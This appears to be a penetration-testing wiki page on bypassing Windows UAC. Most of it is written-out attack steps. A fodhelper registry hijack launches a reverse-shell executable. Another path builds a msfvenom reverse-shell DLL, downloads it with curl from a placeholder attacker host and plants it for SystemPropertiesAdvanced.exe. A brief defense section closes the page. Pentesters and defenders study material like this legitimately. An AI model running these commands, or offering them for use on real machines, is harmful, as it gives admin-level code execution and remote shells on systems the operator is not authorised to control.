UAC Bypass
With UAC enabled and Admin Approval Mode on, an administrator’s logon produces two tokens - a filtered medium-integrity one and a full high-integrity one. A command-line shell runs with the filtered token, so even as a local admin you can’t do admin things until you elevate - and there’s no CLI version of the consent prompt. The bypass is to get an auto-elevating trusted binary (one Windows elevates with no prompt) to run your code.
# 0. Confirm you're a filtered admin: in Administrators, but whoami /priv is shortnet localgroup administrators # your user is listedwhoami /priv # only ~5 privileges → medium token
# 1. Fastest path - fodhelper.exe reads a user-writable registry key, then auto-elevatesreg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c <payload>" /freg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /fstart fodhelper.exe # runs <payload> high-integrity, no prompt
# 2. DLL-hijack path - an auto-elevating binary loads a missing DLL from a writable PATH dir# (e.g. SystemPropertiesAdvanced.exe 32-bit → missing srrstr.dll)Success indicator: a process spawned by the auto-elevating binary runs at high integrity - whoami /groups shows Mandatory Label\High Mandatory Level, and whoami /priv now lists the full admin privilege set (SeDebugPrivilege, SeTakeOwnershipPrivilege, …) available to enable.
When this applies
Section titled “When this applies”This is not a standard-user-to-admin escalation - you must already be in the local Administrators group. The problem UAC creates is that your interactive/remote shell holds the filtered token, so the admin membership is inert until you re-run code with the full token. Signals you’re in this exact spot:
net localgroup administratorslists your user, butwhoami /privshows only the short medium-integrity privilege set (noSeDebug,SeBackup, etc.).- You have a shell (RDP, WinRM, a reverse shell) rather than a desktop session where you could just click “Yes” on the prompt.
The built-in RID 500 Administrator is the exception - it runs at high integrity by default (unless FilterAdministratorToken is enabled), so it needs no bypass.
Enumerate the UAC state
Section titled “Enumerate the UAC state”# Is UAC on at all?REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA# EnableLUA = 0x1 → UAC enabled
# How aggressive is the prompt? (fewer bypasses at the highest level)REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin# 0x2 = Always Notify, consent on secure desktop (hardest)# 0x5 = DEFAULT - prompt for consent for non-Windows binaries; still auto-elevates Windows binaries# 0x0 = elevate silently (easiest)
# Which Windows build? UAC bypasses are build-specific[environment]::OSVersion.Version # e.g. 10.0.14393 → Windows 10 release 1607The UACME project is the reference catalog: it maps each bypass technique to the Windows build range it works on and whether Microsoft has since patched it. Match your build to a technique before trying one.
Family 1 - registry hijack of an auto-elevating binary
Section titled “Family 1 - registry hijack of an auto-elevating binary”Several trusted binaries auto-elevate and resolve a program to run from a per-user (HKCU) registry key - which an unprivileged process can write. Point the key at your payload, launch the binary, and your command runs high-integrity with no prompt. fodhelper.exe is the classic (Windows 10+):
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c C:\temp\rev.exe" /freg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /fstart fodhelper.exefodhelper opens the ms-settings: handler, finds your HKCU command, and executes it elevated. Clean up the key afterward (reg delete "HKCU\Software\Classes\ms-settings" /f). Equivalent binaries and their keys:
| Binary | Registry key it reads |
|---|---|
fodhelper.exe |
HKCU\Software\Classes\ms-settings\Shell\Open\command |
computerdefaults.exe |
HKCU\Software\Classes\ms-settings\Shell\Open\command |
eventvwr.exe |
HKCU\Software\Classes\mscfile\shell\open\command (patched post-1703) |
sdclt.exe |
HKCU\Software\Classes\Folder\shell\open\command / exefile variants |
These leave registry artifacts and are heavily signatured by EDR - but they’re one-shot and need no file drop.
Family 2 - DLL hijack of an auto-elevating binary
Section titled “Family 2 - DLL hijack of an auto-elevating binary”Some auto-elevating binaries load a DLL by name that doesn’t exist, and search a directory you can write to. Plant that DLL and it loads elevated. The writeup’s canonical case: the 32-bit SystemPropertiesAdvanced.exe tries to load a missing srrstr.dll, and its search order includes C:\Users\<you>\AppData\Local\Microsoft\WindowsApps - which is in %PATH% and user-writable.
# 1. Confirm WindowsApps is in PATH (writable, user profile)cmd /c echo %PATH% # ...\AppData\Local\Microsoft\WindowsApps;
# 2. Build a payload DLL (DllMain runs on load)msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER> LPORT=8443 -f dll > srrstr.dll
# 3. Drop it where the binary will lookcurl http://<ATTACKER>:8080/srrstr.dll -o "C:\Users\<you>\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
# 4. Trigger the 32-bit auto-elevating binaryC:\Windows\SysWOW64\SystemPropertiesAdvanced.exeThe listener returns a high-integrity shell. See DLL hijacking for the search-order mechanics this relies on - UAC bypass is just that technique aimed at an auto-elevating target. (Confirm your DLL runs at all first by invoking it directly: rundll32 shell32.dll,Control_RunDLL C:\...\WindowsApps\srrstr.dll - that returns a medium shell, proving the DLL works before you fire the elevated trigger. Kill stray rundll32 processes between attempts.)
After the bypass
Section titled “After the bypass”The elevated shell often shows admin privileges as Disabled rather than removed - they’re present in the high token and can be enabled on demand (see SeTakeOwnership and the other privilege pages for enabling a specific one). From a high-integrity context you can dump credentials, write to protected locations, and install services - the medium-token restrictions are gone.
Defense
Section titled “Defense”- Set
ConsentPromptBehaviorAdminto Always Notify (0x2) and, for the built-in admin, enableFilterAdministratorToken- this closes the “RID 500 is already high” gap and the quieter bypass levels. - UAC is not a boundary: don’t rely on it to contain a local admin. Treat any account in
Administratorsas effectively already elevated when modeling risk. - EDR signatures the registry-hijack binaries (
fodhelper/eventvwrspawningcmd/powershell) and anomalous DLL loads from user-writablePATHdirs - alert on both. - Keep
WindowsAppsand everyPATHentry out of a privileged process’s writable search path; patch to current builds (UACME techniques are build-pinned and many are fixed).
Related
Section titled “Related”- DLL hijacking - the search-order abuse behind Family 2
- Weak service & registry permissions - other “run my code as a privileged identity” paths
- Initial enumeration - confirming build number and admin membership first